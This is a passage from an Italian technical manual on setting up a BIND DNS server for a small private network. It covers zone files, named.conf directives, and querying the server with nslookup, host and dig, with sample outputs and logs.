dinkel.brot.dg.     A      192.168.1.1
dinkel.brot.dg.     A6   0 fec0:0:0:1:0:0:0:1
roggen.brot.dg.     A      192.168.1.2
roggen.brot.dg.     A6   0 fec0:0:0:1:0:0:0:2
```

In tal modo è possibile determinare che l'indirizzo *dinkel.brot.dg* corrisponde a 192.168.1.1 per IPv4 e a fec0:0:0:1:0:0:0:1 per IPv6; inoltre, *roggen.brot.dg* corrisponde a 192.168.1.2 per IPv4 e a fec0:0:0:1:0:0:0:2 per IPv6.

File '`/etc/bind/zone/127.0.0`'

Dal momento che adesso l'elaboratore locale può essere identificato con un nome più significativo del semplice *localhost*, conviene modificare anche il file '`/etc/bind/zone/127.0.0`', benché ciò non sia strettamente necessario.

```
@   IN  SOA   dinkel.brot.dg. root.dinkel.brot.dg.  (
                                1998031800 ; Serial
                                28800      ; Refresh
                                7200       ; Retry
                                604800     ; Expire
                                86400 )    ; Minimum
                            NS    dinkel.brot.dg.

1.0.0.127.in-addr.arpa.     PTR   localhost.localdomain.
```

File '`/etc/bind/zone/fec0:0:0:1`'

Definisce la trasformazione degli indirizzi IPv6 appartenenti alla rete locale (fec0:0:0:1:∗) in nomi di dominio.

```
@       IN      SOA     dinkel.brot.dg. root.dinkel.brot.dg.  (
                                      1998031800 ; Serial
                                      28800      ; Refresh
                                      7200       ; Retry
                                      604800     ; Expire
                                      86400 )    ; Minimum
                                NS      dinkel.brot.dg.

\[x0000000000000001/64]         PTR     dinkel.brot.dg.
\[x0000000000000002/64]         PTR     roggen.brot.dg.
```

Si osservi il fatto che è possibile avere indirizzi IPv4 e indirizzi IPv6 che si risolvono in un nome in comune.

39.3.4 Gli altri elaboratori della rete

Gli altri elaboratori della rete locale, in questo caso solo *roggen.brot.dg*, fanno uso del servizio di risoluzione dei nomi offerto da *dinkel.brot.dg*, cioè 192.168.1.1, quindi il loro file '`/etc/resolv.conf`' deve contenere il riferimento a questo:

```
nameserver 192.168.1.1
```

39.3.5 Gestire la posta elettronica locale

Per inserire anche l'indicazione di un servente di posta elettronica, basta modificare il file '`/etc/bind/zone/brot.dg`' contenuto nell'elaboratore *`dinkel.brot.dg`*, aggiungendo la riga '**`MX`**':

```
@   IN                SOA  dinkel.brot.dg. root.dinkel.brot.dg.  (
                                  1998031800 ; Serial
                                  28800      ; Refresh
                                  7200       ; Retry
                                  604800     ; Expire
                                  86400 )    ; Minimum
                      NS   dinkel.brot.dg.
                      MX   10 dinkel.brot.dg.

dinkel.brot.dg.       A      192.168.1.1
dinkel.brot.dg.       A6   0 fec0:0:0:1:0:0:0:1
roggen.brot.dg.       A      192.168.1.2
roggen.brot.dg.       A6   0 fec0:0:0:1:0:0:0:2
```

39.3.6 Gestire gli alias

Spesso è conveniente definire dei nomi fittizi riferiti a elaboratori che ne hanno già uno. Viene modificato il file '`/etc/bind/zone/brot.dg`' in modo da aggiungere gli alias *`www.brot.dg`* e *`ftp.brot.dg`*, che fanno riferimento sempre al solito *`dinkel.brot.dg`* che però svolge anche le funzioni di servente HTTP e FTP:

```
@   IN               SOA    dinkel.brot.dg. root.dinkel.brot.dg. (
                                  1998031800 ; Serial
                                  28800      ; Refresh
                                  7200       ; Retry
                                  604800     ; Expire
                                  86400 )    ; Minimum
                     NS      dinkel.brot.dg.

                     MX      10 dinkel.brot.dg.

www.brot.dg.         CNAME   dinkel.brot.dg.
ftp.brot.dg.         CNAME   dinkel.brot.dg.

dinkel.brot.dg.       A      192.168.1.1
dinkel.brot.dg.       A6   0 fec0:0:0:1:0:0:0:1
roggen.brot.dg.       A      192.168.1.2
roggen.brot.dg.       A6   0 fec0:0:0:1:0:0:0:2
```

39.3.7 Isolamento dall'esterno

Se la rete locale funziona senza poter accedere alla rete Internet esterna, conviene evitare che si tenti di interrogare i servizi di risoluzione dei nomi del dominio principale: basta commentare la direttiva che attiva questa ricerca nel file '`named.conf`'.

File '`/etc/named.conf`' o '`/etc/bind/named.conf`'

I commenti possono iniziare con una doppia barra obliqua ('`//`'), terminando così alla fine della riga, oppure possono essere inseriti tra '`/*`' e '`*/`'.

```
options {
        directory "/etc/bind";
        listen-on-v6 { any; };
};
//
// La zona root viene esclusa attraverso dei commenti
//zone "." {
//      type hint;
//      file "named.root";
//};
//
zone "0.0.127.in-addr.arpa" {
        type master;
        file "zone/127.0.0";
};
zone "1.168.192.in-addr.arpa" {
        type master;
        file "zone/192.168.1";
};
zone "\[xfec0000000000001/64].ip6.arpa" {
        type master;
        file "zone/fec0:0:0:1";
};
zone "dg" {
        type master;
        file "zone/dg";
};
zone "brot.dg" {
        type master;
        file "zone/brot.dg";
};
```

39.4 Gestione del servizio di risoluzione dei nomi

In un sistema Unix il servizio di risoluzione dei nomi viene offerto generalmente dal programma '**named**'. Per verificarne il funzionamento si possono usare dei programmi specializzati nella sua interrogazione.

39.4.1 Utilizzo di «named»

Il programma '**named**' è il demone che compie in pratica il servizio di risoluzione dei nomi del pacchetto BIND. Si avvale di un file di avvio (o di configurazione) che in passato è stato '/etc/named.boot' e attualmente è invece '/etc/named.conf', oppure '/etc/bind/named.conf'. Eventualmente, se viene indicato un nome di file negli argomenti, viene utilizzato quel file invece di quello predefinito.

```
named [opzioni] [[-b] file_di_avvio]
```

Nei sistemi in cui si attiva la gestione di un servizio di risoluzione dei nomi, '**named**' viene avviato dalla procedura di inizializzazione del sistema (Init), ma può anche essere avviato manualmente.

A ogni modo, se la propria distribuzione GNU non mette a disposizione uno script specifico (per esempio il file '/etc/init.d/bind'), si può controllare il funzionamento o il riavvio di questo demone attraverso il programma '**rndc**', che fa sempre parte di BIND. Quello che segue è solo una semplificazione dello schema sintattico complessivo:

```
rndc {start|stop|restart}
```

Il significato dell'argomento è intuitivo: avvia, ferma o riavvia il servizio. Evidentemente, è necessario riavviare il servizio ogni volta che si modifica la configurazione.

Il DNS utilizza una serie di protocolli, tra cui anche UDP. Se ci si trova a essere protetti da un firewall che esclude il transito dei pacchetti UDP, per poter interpellare gli altri servizi di risoluzione dei nomi delle zone che sono al di fuori della propria competenza locale, occorre aggiungere una direttiva che rinvia le richieste a un servizio esterno. Questa situazione può verificarsi quando la propria connessione a Internet avviene attraverso un ISP attento ai problemi di sicurezza e che usa questa politica di protezione.

39.4.2 Nslookup

Nslookup[5] è il programma tradizionale per l'interrogazione del servizio di risoluzione dei nomi. Esistono delle alternative a questo programma, forse più semplici da usare, ma conviene comunque conoscerne almeno l'uso elementare.

L'eseguibile che svolge il lavoro è '**nslookup**' e si utilizza secondo il modello sintattico seguente:

```
nslookup [opzioni] [nodo_da_trovare | - servente ]
```

```
nslookup [opzioni] nodo_da_trovare [servente]
```

Nslookup offre due modalità di funzionamento: interattiva e non interattiva. Nel primo caso, il programma offre un invito attraverso il quale inserire dei comandi, nel secondo tutto si conclude con l'uso di argomenti nella riga di comando.

Si entra nella modalità interattiva quando non vengono forniti argomenti e di conseguenza viene utilizzato il servizio di risoluzione dei nomi predefinito attraverso il file '`/etc/resolv.conf`', oppure quando il primo argomento è un trattino ('`-`') e il secondo è il nome o l'indirizzo necessario a raggiungere un servente per la risoluzione dei nomi. In tal caso, Nslookup mostra un invito costituito da un semplice simbolo di maggiore:

$ **`nslookup`** [*Invio*]

```
>
```

Per uscire dalla modalità interattiva, si deve usare il comando '**`exit`**':

> **`exit`**

La modalità non interattiva viene utilizzata quando il nome o l'indirizzo di un nodo di rete da cercare viene indicato come primo argomento. In tal caso, il secondo argomento opzionale è il nome o l'indirizzo per raggiungere un servizio di risoluzione dei nomi.

Nelle situazioni più comuni, ci si limita a usare il programma per tradurre un indirizzo in nome o viceversa. Segue la descrizione di alcuni esempi:

- $ **`nslookup 192.168.1.2`** [*Invio*]

  restituisce il nome e l'indirizzo Internet corrispondente al nodo di rete indicato attraverso il numero IP;

- $ **`nslookup roggen.brot.dg.`** [*Invio*]

  restituisce il nome e l'indirizzo Internet corrispondente al nodo di rete indicato attraverso il nome di dominio completo;

- $ **`nslookup roggen.brot.dg. ns2.brot.dg`** [*Invio*]

  interpella il servizio di risoluzione dei nomi offerto dall'elaboratore *`ns2.brot.dg`* per ottenere le informazioni su *`roggen.brot.dg`*.

39.4.3 Host

Host[6] è un programma alternativo a Nslookup, il cui utilizzo è, per certi versi, un po' più semplice. L'eseguibile che compie il lavoro è '**host**':

```
host [opzioni] {nodo | -l zona} [servente_dns]
```

Le opzioni e le relative funzionalità a disposizione sono molte. Per lo studio dettagliato delle possibilità di questo programma conviene consultare la sua pagina di manuale: *host(1)*.

Dal modello sintattico presentato si può osservare che il primo argomento dopo le opzioni, è il nome o l'indirizzo di un nodo di rete, oppure il nome di una zona, espressa attraverso il nome di dominio relativo. Eventualmente, si può aggiungere un secondo argomento che permette di specificare un servente DNS alternativo a quello predefinito. La tabella seguente riepiloga le opzioni più comuni.

Tabella 39.31. Alcune opzioni.

Opzione	Descrizione
`-v`	Permette di ottenere maggiori informazioni.
`-t` ***tipo***	Elenca i record del tipo specificato. Per fare riferimento a tutti i tipi di record, si può usare la parola chiave '**ANY**', oppure l'asterisco (opportunamente protetto, se necessario, dall'interpretazione della shell).
`-l` ***zona***	Permette di indicare una zona nel primo argomento, al posto di un nodo di rete particolare, ma non è detto che il servizio interpellato sia disposto a dare tutte queste informazioni.

Seguono alcuni esempi:

- `$` **`host dinkel.brot.dg`** [*Invio*]

  mostra il nome e l'indirizzo corrispondente;

- `$` **`host 192.168.1.1`** [*Invio*]

  mostra l'indirizzo e il nome corrispondente;

- `$` **`host -l brot.dg`** [*Invio*]

  richiede la lista completa dei nodi di rete nella zona *`brot.dg`*, ma la risposta potrebbe essere omessa dal servente;

- `$` **`host -l dg`** [*Invio*]

  mostra la lista completa dei nodi di rete nella zona *`dg`*, ma la risposta potrebbe essere omessa dal servente;

- `$` **`host -l 1.168.192.in-addr.arpa`** [*Invio*]

  mostra la lista completa dei nodi di rete nella zona *`1.168.192.in-addr.arpa`*, ovvero della rete 192.168.1.*, ma la risposta potrebbe essere omessa dal servente;

- $ **host -t AAAA www.aerasec.de** [*Invio*]

  mostra l'indirizzo IPv6, ottenuto da un record AAAA (ammesso che sia disponibile, essendo stato sostituito dai record A6).

39.4.4 Dig

Dig,[7] ovvero *Domain information groper* è un sistema di interrogazione dei servizi DNS, flessibile e complesso nel contempo. Si compone dell'eseguibile '**dig**' che si utilizza secondo lo schema seguente, il quale appare qui semplificato rispetto alla sintassi completa:

dig [@***servente_dns***] [***opzioni***] [***nome_risorsa***] [***tipo_richiesta***] [***opzione***...]

Un utilizzo comune di questo eseguibile, si traduce nella sintassi seguente:

dig [@***servente_dns***] ***nome_risorsa*** [***tipo_richiesta***]

L'esempio seguente restituisce il record «A» della risorsa *dinkel.brot.dg*, assieme ad altre informazioni di contorno:

$ **dig @127.0.0.1 dinkel.brot.dg A** [*Invio*]

Il listato è interrotto per motivi tipografici:

```
; <<>> DiG 9.2.0 <<>> @127.0.0.1 dinkel.brot.dg A
;; global options:  printcmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 4122
;; flags: qr aa rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 1, ADDITIONAL: 2

;; QUESTION SECTION:
;dinkel.brot.dg.                        IN      A

;; ANSWER SECTION:
dinkel.brot.dg.         86400   IN      A       192.168.1.1

;; AUTHORITY SECTION:
brot.dg.                86400   IN      NS      dinkel.brot.dg.
...
```

In pratica si ottiene l'indirizzo IPv4 associato al nome *dinkel.brot.dg*, dal servente DNS raggiungibile all'indirizzo 127.0.0.1. Ma per fare la ricerca opposta (il nome a partire dall'indirizzo), occorre indicare il nome di dominio appartenente a *in-addr.arpa*:

$ **dig @127.0.0.1 1.1.168.192.in-addr.arpa PTR** [*Invio*]

Ecco un piccolo estratto di ciò che Dig può restituire:

```
…
;; ANSWER SECTION:
1.1.168.192.in-addr.arpa. 86400 IN      PTR     dinkel.brot.dg.
…
```

Prima di andare oltre questi esempi elementari, è bene chiarire che se si omette l'indicazione del servente da interrogare, Dig utilizza il primo che riesce a raggiungere dall'elenco contenuto nel file '`/etc/resolv.conf`'; inoltre, se manca l'indicazione del tipo di record da cercare, si intende il tipo «A», ovvero quello che abbina nomi di dominio a indirizzi IPv4.

Appare subito la difficoltà dell'utilizzo di questo strumento, che richiede un conoscenza approfondita del modo in cui si descrivono i file di zona di un servizio DNS.

Per ottenere la risoluzione inversa da un indirizzo al nome corrispondente, si può usare una forma alternativa del comando:

dig [@***servente_dns***] -x ***indirizzo_numerico***

Per esempio, per trovare il nome corrispondente al numero 192.168.1.1 si può usare il comando seguente:

$ **dig @127.0.0.1 -x 192.168.1.1** [*Invio*]

Il risultato è lo stesso già visto per l'interrogazione di un record PTR.

Alla fine degli argomenti normali della riga di comando, si possono aggiungere delle opzioni speciali, che iniziano con il segno '**+**', con le quali si modifica il comportamento di Dig. Tra tutte, merita attenzione l'opzione '**+short**', che consente di ridurre al minimo le informazioni restituite da Dig. Per esempio, il comando seguente interroga il record «A» della risorsa *dinkel.brot.dg*, restituendo semplicemente il numero dell'indirizzo IPv4 corrispondente:

$ **dig dinkel.brot.dg +short** [*Invio*]

```
192.168.1.1
```

Come ultima considerazione su Dig, si vuole mostrare cosa succede se si utilizza senza alcun argomento:

$ **dig** [*Invio*]

Se è disponibile l'accesso alla rete esterna, si ottiene il file contenente l'elenco dei serventi DNS competenti per il dominio principale ('`.`'), come ottenuto dall'interrogazione del servente DNS predefinito ('`/etc/resolv.conf`'):

```
; <<>> DiG 9.2.0 <<>>
;; global options:  printcmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 19406
;; flags: qr rd ra; QUERY: 1, ANSWER: 13, AUTHORITY: 0, ADDITIONAL: 13

;; QUESTION SECTION:
```

```
;.                              IN      NS

;; ANSWER SECTION:
.                       3430    IN      NS      F.ROOT-SERVERS.NET.
.                       3430    IN      NS      G.ROOT-SERVERS.NET.
.                       3430    IN      NS      H.ROOT-SERVERS.NET.
.                       3430    IN      NS      I.ROOT-SERVERS.NET.
.                       3430    IN      NS      J.ROOT-SERVERS.NET.
.                       3430    IN      NS      K.ROOT-SERVERS.NET.
.                       3430    IN      NS      L.ROOT-SERVERS.NET.
.                       3430    IN      NS      M.ROOT-SERVERS.NET.
.                       3430    IN      NS      A.ROOT-SERVERS.NET.
.                       3430    IN      NS      B.ROOT-SERVERS.NET.
.                       3430    IN      NS      C.ROOT-SERVERS.NET.
.                       3430    IN      NS      D.ROOT-SERVERS.NET.
.                       3430    IN      NS      E.ROOT-SERVERS.NET.

;; ADDITIONAL SECTION:
F.ROOT-SERVERS.NET.     604659  IN      A       192.5.5.241
G.ROOT-SERVERS.NET.     604659  IN      A       192.112.36.4
H.ROOT-SERVERS.NET.     604659  IN      A       128.63.2.53
I.ROOT-SERVERS.NET.     604659  IN      A       192.36.148.17
J.ROOT-SERVERS.NET.     604659  IN      A       198.41.0.10
K.ROOT-SERVERS.NET.     604659  IN      A       193.0.14.129
L.ROOT-SERVERS.NET.     604629  IN      A       198.32.64.12
M.ROOT-SERVERS.NET.     604629  IN      A       202.12.27.33
A.ROOT-SERVERS.NET.     604637  IN      A       198.41.0.4
B.ROOT-SERVERS.NET.     604657  IN      A       128.9.0.107
C.ROOT-SERVERS.NET.     604658  IN      A       192.33.4.12
D.ROOT-SERVERS.NET.     604659  IN      A       128.8.10.90
E.ROOT-SERVERS.NET.     604659  IN      A       192.203.230.10

;; Query time: 4 msec
;; SERVER: 127.0.0.1#53(127.0.0.1)
;; WHEN: Wed May 22 15:28:57 2002
;; MSG SIZE  rcvd: 436
```

Se non ci si fida del servente DNS predefinito, si può richiedere espressamente l'informazione a un nodo di fiducia; per esempio:

$ **dig @rs.internic.net . ns** [*Invio*]

39.4.5 Verifica del funzionamento del servizio

Se è appena stato configurato il servizio di risoluzione dei nomi, si può riavviare (o semplicemente avviare) il servizio utilizzando il programma '**rndc**', oppure un altro messo a disposizione dalla propria distribuzione GNU.

`# rndc stop` [*Invio*]

`# rndc start` [*Invio*]

Il demone '**named**' emette alcuni messaggi che vengono annotati nel registro del sistema, generalmente nel file '`/var/log/messages`' (oppure un altro collocato sempre sotto '`/var/log/`', a seconda della configurazione del sistema operativo). È utile consultare il suo contenuto per verificare che la configurazione sia corretta. Trattandosi dell'ultima cosa avviata, i messaggi si trovano alla fine del file.

`# tail /var/log/messages` [*Invio*]

Il listato seguente si riferisce a un esempio di configurazione già apparso in precedenza:

```
May 31 15:20:56 dinkel named[2778]: starting BIND 9.2.0
May 31 15:20:56 dinkel named[2778]: using 1 CPU
May 31 15:20:56 dinkel named[2780]: loading configuration from ↩
↪'/etc/bind/named.conf'
May 31 15:20:56 dinkel named[2780]: listening on IPv6 interfaces, port 53
May 31 15:20:56 dinkel named[2780]: binding TCP socket: address in use
May 31 15:20:56 dinkel named[2780]: listening on IPv4 interface lo, 127.0.0.1#53
May 31 15:20:56 dinkel named[2780]: binding TCP socket: address in use
May 31 15:20:56 dinkel named[2780]: listening on IPv4 interface eth0, ↩
↪192.168.1.1#53
May 31 15:20:56 dinkel named[2780]: binding TCP socket: address in use
May 31 15:20:56 dinkel named[2780]: zone 127.0.0.in-addr.arpa/IN: loaded ↩
↪serial 1
May 31 15:20:56 dinkel named[2780]: 192.168.1:1: no TTL specified; using SOA ↩
↪MINTTL instead
May 31 15:20:56 dinkel named[2780]: zone 1.168.192.in-addr.arpa/IN: loaded ↩
↪serial 1998031800
May 31 15:20:56 dinkel named[2780]: 192.168.2:1: no TTL specified; using SOA ↩
↪MINTTL instead
May 31 15:20:56 dinkel named[2780]: zone 2.168.192.in-addr.arpa/IN: loaded ↩
↪serial 1998031800
May 31 15:20:56 dinkel named[2780]: fec0:0:0:1:1: no TTL specified; using SOA ↩
↪MINTTL instead
May 31 15:20:56 dinkel named[2780]: zone \[xFEC0000000000001/64].ip6.arpa/IN: ↩
↪loaded serial 1998031800
May 31 15:20:56 dinkel named[2780]: dg:1: no TTL specified; using SOA MINTTL ↩
↪instead
May 31 15:20:56 dinkel named[2780]: zone dg/IN: loaded serial 1998031800
May 31 15:20:56 dinkel named[2780]: brot.dg:1: no TTL specified; using SOA ↩
↪MINTTL instead
May 31 15:20:56 dinkel named[2780]: zone brot.dg/IN: loaded serial 1998031800
May 31 15:20:56 dinkel named[2780]: zone localhost/IN: loaded serial 1
May 31 15:20:56 dinkel named[2780]: running
```

Se qualcosa non va, è lo stesso '**named**' ad avvisare attraverso questi messaggi. Se è andato tutto bene si può provare a vedere cosa accade avviando l'eseguibile '**dig**' senza argomenti:

`$ dig` [*Invio*]

Se il servente DNS è appena stato riavviato e non è disponibile una connessione con l'esterno, si ottiene un responso nullo, dal quale si vede comunque chi ha risposto:

```
; <<>> DiG 9.2.0 <<>>
;; global options:  printcmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: SERVFAIL, id: 52215
;; flags: qr rd ra; QUERY: 1, ANSWER: 0, AUTHORITY: 0, ADDITIONAL: 0

;; QUESTION SECTION:
;.                              IN      NS

;; Query time: 4 msec
;; SERVER: 127.0.0.1#53(127.0.0.1)
;; WHEN: Wed May 22 16:37:30 2002
;; MSG SIZE  rcvd: 17
```

Alla fine c'è l'indicazione di chi ha risposto e in questo caso si tratta dell'indirizzo 127.0.0.1, ovvero l'elaboratore locale.

Se si è connessi alla rete esterna, si può provare a interrogare il servente per la risoluzione di un nome, per esempio `informaticalibera.net`.[8]

$ **`dig informaticalibera.net`** [*Invio*]

```
; <<>> DiG 9.5.0-P1 <<>> informaticalibera.net
;; global options:  printcmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 12849
;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 3, ADDITIONAL: 1

;; QUESTION SECTION:
;informaticalibera.net.         IN      A

;; ANSWER SECTION:
informaticalibera.net.  3600    IN      A       87.24.59.9

;; AUTHORITY SECTION:
informaticalibera.net.  3600    IN      NS      ns2.nice.net.
informaticalibera.net.  3600    IN      NS      ns1.nice.net.
informaticalibera.net.  3600    IN      NS      ns3.nice.net.

;; ADDITIONAL SECTION:
ns2.nice.net.           543     IN      A       87.233.133.47

;; Query time: 416 msec
;; SERVER: 212.216.172.62#53(212.216.172.62)
;; WHEN: Fri Mar 19 15:28:54 2010
;; MSG SIZE  rcvd: 130
```

Dal momento che il servizio di risoluzione dei nomi locale non dispone di tale informazione, per ottenerla ha dovuto interpellare i vari servizi DNS a partire dal dominio principale ('.'), fino a quando ha potuto ricevere la risposta. Per evitare di appesantire la rete in caso di richieste analoghe, il nome e l'indirizzo corrispondente vengono memorizzati in modo temporaneo, nella memoria cache.

Quando il servizio di risoluzione dei nomi interpellato è competente per la zona richiesta e non deve rivolgersi altrove per ottenere la risposta, si ha una risposta «autorevole»; diversamente, la risposta generata dalle informazioni accumulate in una memoria provvisoria, non è autorevole.

Per controllare se i file di zona di competenza del servizio di risoluzione dei nomi locale sono corretti, conviene cambiare il tipo di interrogazione, facendo riferimento a tutti i tipi di record della zona che interessa (in questo caso `brot.dg`), attraverso la parola chiave '**`any`**':

$ **`dig brot.dg any`** [*Invio*]

```
; <<>> DiG 9.2.0 <<>> brot.dg any
;; global options:  printcmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 60850
;; flags: qr aa rd ra; QUERY: 1, ANSWER: 3, AUTHORITY: 0, ADDITIONAL: 2

;; QUESTION SECTION:
;brot.dg.                       IN      ANY

;; ANSWER SECTION:
brot.dg.                86400   IN      SOA     ↩
↪dinkel.brot.dg. root.dinkel.brot.dg. 1998031800 28800 7200 604800 86400
brot.dg.                86400   IN      NS      dinkel.brot.dg.
brot.dg.                86400   IN      MX      10 dinkel.brot.dg.

;; ADDITIONAL SECTION:
dinkel.brot.dg.         86400   IN      A       192.168.1.1

;; Query time: 4 msec
;; SERVER: 127.0.0.1#53(127.0.0.1)
;; WHEN: Wed May 22 17:05:12 2002
;; MSG SIZE  rcvd: 147
```

39.5 File di configurazione più in dettaglio

A questo punto è necessario analizzare un po' meglio la sintassi del contenuto dei vari file di configurazione utilizzati da '**`named`**'. Il loro significato può essere apprezzato solo dopo il conforto di alcuni esperimenti riusciti con il sistema di risoluzione dei nomi.

Nei file di definizione delle zone i commenti vanno preceduti da un punto e virgola; per quanto riguarda invece il file '`named.boot`', i commenti si realizzano come nel linguaggio C: '**`/*`**...**`*/`**' oppure '**`//`**...'.

39.5.1 File «/etc/named.conf» o «/etc/bind/named.conf»

Il file '`named.conf`' appare già in altre sezioni precedenti. Si riprende qui il solito esempio, con la differenza che la directory predefinita per i file è quella comune.

```
options {
        directory "/var/cache/bind";
        listen-on-v6 { any; };
};
zone "." {
        type hint;
        file "/etc/bind/named.root";
};
zone "0.0.127.in-addr.arpa" {
        type master;
        file "/etc/bind/zone/127.0.0";
};
zone "1.168.192.in-addr.arpa" {
        type master;
        file "/etc/bind/zone/192.168.1";
};
zone "\[xfec0000000000001/64].ip6.arpa" {
        type master;
        file "/etc/bind/zone/fec0:0:0:1";
};
zone "dg" {
        type master;
        file "/etc/bind/zone/dg";
};
zone "brot.dg" {
        type master;
        file "/etc/bind/zone/brot.dg";
};
```

Segue l'elenco e la descrizione delle direttive e delle opzioni più importanti di questo file.

Tabella 39.41. Alcune direttive e opzioni. Si osservi che le parentesi graffe fanno parte delle direttive e sono da intendersi in senso letterale.

Opzione	Descrizione

`options {`
    ***opzione*;**
    ...
`};`
	La direttiva '**`options`**' serve a definire una serie di opzioni generali. La più comune è '**`directory`**', con cui si dichiara la directory predefinita a cui fanno riferimento le direttive sulla definizione dei file di zona.

Opzione	Descrizione

`options {`
`…`
`directory` ***directory_di_partenza*** `;`
`…`
`};`
	L'opzione '**`directory`**' definisce la collocazione predefinita dei file di zona, in modo da permetterne successivamente l'indicazione in modo relativo a questa directory.

`options {`
`…`
`forwarders {`
indirizzo_numerico `;`
`…`
`};`
`…`
`};`
	L'opzione '**`forwarders`**' dichiara che il servizio di risoluzione dei nomi locale può interpellare a sua volta altri servizi, indicati da indirizzi numerici, per le richieste che non dovesse riuscire a risolvere.
	Si osservi che è indispensabile utilizzare questa opzione se il proprio elaboratore è difeso da un firewall che impedisce il transito di pacchetti UDP.

`options {`
`…`
`forward only;`
`…`
`};`
	L'opzione '**`forward only`**' serve a specificare che si tratta di un servizio di risoluzione dei nomi che rinvia sistematicamente ogni richiesta agli indirizzi indicati nell'opzione '**`forwarders`**'.

`options {`
`…`
`listen-on-v6` [`port` ***n***] `{ any;` | `none;};`
`…`
`};`
	Consente o esclude l'ascolto per le interrogazioni IPv6 dalla porta indicata. Se la porta non viene indicata, si fa riferimento implicitamente al numero 53.

`zone "`***dominio***`" {`
`…`
`};`
	La direttiva '**`zone`**' serve a fare riferimento a una zona; ma ciò può avvenire in modi diversi, descritti nelle sezioni successive.

È importante sottolineare che in questo file non si usa il punto finale per indicare domini assoluti. I domini sono sempre indicati esattamente come sono, senza sottintendere alcunché, pertanto il punto finale sarebbe solo un errore.

39.5.2 Memoria cache del dominio principale

```
zone "." {
        type hint;
        file file_di_zona;
};
```

In questo modo si indica il file contenente le informazioni necessarie a raggiungere i DNS del dominio principale. Il DNS locale conserva una memoria cache delle informazioni ottenute, per non dover interrogare ogni volta tutti i DNS esterni necessari.

Senza una direttiva '**zone**' che faccia riferimento al dominio principale, '**named**' non ha modo di accedere ad altri servizi di risoluzione dei nomi al di fuori del suo stretto ambito di competenza.

Si fa a meno della specificazione di questa zona quando si gestisce un servizio di risoluzione dei nomi a uso esclusivo di una rete locale chiusa, senza accesso all'esterno. Si può fare a meno di questa indicazione quando si utilizzano serventi di inoltro, ovvero i *forwarder*.

39.5.3 Gestione delle zone su cui si ha autorità

```
zone "dominio" {
        type master;
        file file_di_zona;
};
```

Quando la direttiva '**zone**' serve a indicare una zona su cui si ha autorità, attraverso l'opzione '**type master**' si stabilisce che le informazioni su questa devono essere tratte dal file indicato.

La zona può essere riferita a un dominio normale, oppure a domini *in-addr.arpa* e *ip6.arpa* (*ip6.int* è superato). Nel primo caso, le informazioni del file servono a tradurre i nomi di dominio in indirizzi numerici; nel secondo, dal momento che i domini *in-addr.arpa* e *ip6.arpa* contengono nel nome l'informazione dell'indirizzo numerico, i file servono a tradurre gli indirizzi numerici in nomi di dominio normali.

Convenzionalmente, è sempre presente una direttiva '**zone**' riferita al dominio *0.0.127.in-addr.arpa* che indica il file in grado di tradurre gli indirizzi di *loopback* per IPv4.[9]

39.5.4 Riproduzione delle informazioni di un altro DNS

```
zone "dominio" {
    type slave;
    file file_di_zona;
    masters {
        indirizzo_ip_master;
        ...
    };
};
```

Il DNS locale può servire a fornire informazioni per cui è autorevole assieme ad altri, da cui trae periodicamente le informazioni. In pratica, l'opzione '**type slave**' definisce che il file specificato deve essere generato automaticamente e aggiornato, in base a quanto fornito per quel dominio da altri DNS elencati nell'opzione '**masters**'.

In questi casi è bene che il file di zona sia collocato al di sotto di '`/var/cache/bind/`', proprio per la sua dinamicità. Diversamente, è conveniente che i file di zona sui quali si ha il controllo si trovino a partire dalla directory '`/etc/bind/`'.

Se i servizi di risoluzione dei nomi esterni dovessero risultare inaccessibili per qualche tempo, quello locale può continuare a fornire le informazioni, fino a quando queste raggiungono il periodo di scadenza.

39.5.5 File di zona

I file di zona costituiscono in pratica la base di dati DNS dell'ambito in cui il sistema è autorevole. Sono costituiti da una serie di record di tipo diverso, detti RR (*Resource record*) o record di risorsa, ma con una sintassi comune.

[***dominio***] [***durata_vitale***] [***classe***] ***tipo*** ***dati_della_risorsa***

I campi sono separati da spazi o caratteri di tabulazione; inoltre, un record può essere suddiviso in più righe reali, come si fa solitamente con il tipo SOA.

Ogni file di zona è associato a un dominio di origine definito all'interno del file '`named.conf`' nella direttiva che nomina il file di zona in questione. All'interno dei file di zona, il simbolo '**`@`**' rappresenta questo dominio di origine. Questo simbolo viene utilizzato comunemente **solo** nel record SOA.

Segue l'elenco dei vari campi dei record di risorsa contenuti nei file di zona.

1. Il primo campo indica il dominio a cui gli altri elementi del record fanno riferimento. Se non viene specificato, si intende che si tratti di quello dichiarato nel record precedente. Il dominio può essere indicato in modo assoluto, quando termina con un punto, o relativo al dominio di origine.

2. Il secondo campo indica il tempo di validità dell'informazione, espressa in secondi. Serve solo per i serventi secondari (*slave*) che hanno la necessità di sapere per quanto tempo deve essere considerata valida un'informazione, prima di eliminarla in mancanza di riscontri dal servente primario (*master*). Generalmente, questa informazione non viene indicata, perché così si utilizza implicitamente quanto indicato nel record SOA, nell'ultimo campo numerico (*minimum*). Questa informazione viene definita TTL (*Time to live*) e non va confusa con altri tipi di TTL esistenti e riferiti a contesti diversi.[10]

3. Il terzo campo rappresenta la classe di indirizzamento. Con le reti TCP/IP si usa la sigla '**`IN`**' (*Internet*). Se non viene indicata la classe, si intende fare riferimento implicitamente alla stessa classe del record precedente. Generalmente si mette solo nel primo: il record SOA.

4. Il quarto campo rappresenta il tipo di record indicato con le sigle già descritte in sezioni precedenti.

5. Dopo il quarto campo seguono i dati particolari del tipo specifico di record. Questi sono già descritti in parte nel capitolo.

Nei record di risorsa può apparire il simbolo '**`@`**' che rappresenta il ***dominio di origine***, cioè quello indicato nella direttiva del file '`named.conf`' corrispondente alla zona in questione.

Nelle sezioni seguenti vengono descritti i record di risorsa più importanti.

39.5.6 SOA -- Start of authority

«

Il primo record di ogni file di zona inizia con la dichiarazione standard dell'origine. Ciò avviene generalmente attraverso il simbolo '`@`' che rappresenta il dominio di origine, come già accennato in precedenza. Per esempio, nel file '`named.conf`', la direttiva seguente fa riferimento al file di zona '`/etc/bind/zone/brot.dg`'.

```
zone "brot.dg" {
        type master;
        file "/etc/bind/zone/brot.dg";
};
```

